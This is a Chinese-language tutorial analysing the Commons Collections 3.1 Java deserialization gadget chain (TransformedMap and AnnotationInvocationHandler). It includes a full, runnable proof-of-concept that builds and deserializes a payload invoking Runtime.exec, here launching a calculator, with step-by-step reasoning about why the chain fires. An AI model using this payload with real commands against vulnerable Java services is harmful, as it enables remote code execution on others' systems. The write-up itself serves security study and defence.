用于调试的POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;public class Demo { public static Object generatePayload () throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[] { String.class, Class[].class }, new Object[] { "getRuntime" , new Class[0 ] }), new InvokerTransformer("invoke" , new Class[] { Object.class, Object[].class }, new Object[] { null , new Object[0 ] }), new InvokerTransformer("exec" , new Class[] { String.class }, new Object[] { "deepin-calculator" }) }; Transformer transformerChain = new ChainedTransformer(transformers); Map innermap = new HashMap(); innermap.put("value" , "mochazz" ); Map outmap = TransformedMap.decorate(innermap, null , transformerChain); Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true ); Object instance = ctor.newInstance(Retention.class, outmap); return instance; } public static void main (String[] args) throws Exception { payload2File(generatePayload(),"obj" ); payloadTest("obj" ); } public static void payload2File (Object instance, String file) throws Exception { ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file)); out.writeObject(instance); out.flush(); out.close(); } public static void payloadTest (String file) throws Exception { ObjectInputStream in = new ObjectInputStream(new FileInputStream(file)); in.readObject(); in.close(); } }
漏洞点 漏洞点存在于 commons-collections-3.1-src.jar!/org/apache/commons/collections/functors/InvokerTransformer.java 。 在 InvokerTransformer 类中使用了反射,且反射参数均可控,所以我们可以利用这处代码调用任意类的任意方法。
接下来,我们需要找到一处可以循环调用 transform 方法的地方。全局搜索 .transform( 后发现, commons-collections-3.1-src.jar!/org/apache/commons/collections/functors/ChainedTransformer.java 类的 transform 方法刚好符合条件。
在 ChainedTransformer 类的 transform 方法中,对 iTransformers 数组进行了循环遍历,并调用其元素的 transform 方法。
可能有的人会有疑问,为什么要找一处循环调用 transform 方法的地方?如果你懂得如何使用 Java反射 来执行 系统命令 ,也许就能明白这么做的原因。下面贴出了 Demo 代码。我们需要利用循环,构造出下面的链式调用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import java.io.IOException;public class ExecuteCMD { public static void main (String [] args) throws IOException { Runtime.getRuntime().exec(new String [] { "deepin-calculator" }); try { Class.forName("java.lang.Runtime" ).getMethod("exec" , String.class).invoke( Class.forName("java.lang.Runtime" ).getMethod("getRuntime" ).invoke(Class.forName("java.lang.Runtime" )), new String [] { "deepin-calculator" } ); } catch (Exception e) { e.printStackTrace(); } } }
此时,我们就可以将 ChainedTransformer 的 Transformer 属性按照如下构造:
1 2 3 4 5 6 Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[] { String.class, Class[].class }, new Object[] { "getRuntime" , new Class[0 ] }), new InvokerTransformer("invoke" , new Class[] { Object.class, Object[].class }, new Object[] { null , new Object[0 ] }), new InvokerTransformer("exec" , new Class[] { String.class }, new Object[] { "deepin-calculator" }) };
这里 transformers 数组的第一个,我们选用的是 ConstantTransformer 类。因为该类执行 transform 方法后,会返回一个构造对象时传入的参数,在这里就是 Runtime.class 。
在构造好这些后,我们现在需要寻找哪里可以调用 ChainedTransformer.transform() 方法。网络上公开的主要是通过 TransformedMap 和 LazyMap 这两个利用链,接下来我们来逐个分析。
先来看 TransformedMap 类,该类中有3个方法均调用了 transform() (对应下图126、141、169行代码),分别是 transformKey()、transformValue()、checkSetValue() ,且类名均可控(对应下图83-84行代码)。但是这3个方法都被 protected 修饰,所以看看哪些方法调用了它们。
我们可以看到公共方法 put()、putAll() 调用了 transformKey()、transformValue() ,而 checkSetValue() 却没有看到在哪调用。不过我们可以从注释中看出些端倪,注释说当调用该类的 setValue 方法时,会自动调用 checkSetValue 方法。该类 setValue 方法继承自父类 AbstractInputCheckedMapDecorator ,我们看其父类代码。
AbstractInputCheckedMapDecorator 的根父类实际就是 Map ,所以我们现在只需要找到一处 readObject 方法,只要它调用了 Map.setValue() 方法,即可完成整个反序列化链。下面,我们来看满足这个条件的 AnnotationInvocationHandler 类,该类属于 JDK1.7 自带的,代码如下。
我们可以在 AnnotationInvocationHandler 类的 readObject 方法中看到 setValue 方法的调用。而想要成功执行到此处,我们需要先绕过上图360行的if条件。其中需要关注的就是 var7、var8 两个变量的值。实际上, var7 的值只与 this.type 有关; var8 只与 this.memberValues 有关,所以我们转而关注构造函数。在构造函数中,程序要求我们传入的第一个参数必须继承 java.lang.annotation.Annotation 接口。而在 Java 中,所有的注解实际上都继承自该接口。所以我们第一个变量传入一个JDK自带注解,这样第二个 Map 类型的变量也可以正常赋值。
现在来看看如何去构造这两个 this.type、this.memberValues 这两个变量。实际上,并不是将 this.type 设置成任意注解类都能执行 POC 。网络上很多分析文章将 this.type 设置成 java.lang.annotation.Retention.class ,但是没有说为什么这个类可以。而在调试代码的过程中,我发现这个问题和注解类中有无定义方法有关。只有定义了方法的注解才能触发 POC 。例如 java.lang.annotation.Annotation、java.lang.annotation.Target 都可以触发,而 java.lang.annotation.Documented 则不行。而且我们 POC 中, innermap 必须有一个键名与注解类方法名一样的元素(如下图箭头指向)。而注解类方法返回类型将是 var7 的值。
具体怎么影响,调试下 /opt/java/jdk1.7.0_80/jre/lib/rt.jar!/sun/reflect/annotation/AnnotationType.class:AnnotationType() 就知道了,这里不再赘述。
LazyMap利用链 参考 Java反序列化利用链挖掘之CommonsCollections1
以Commons-Collections为例谈Java反序列化POC的编写 https://www.anquanke.com/post/id/195865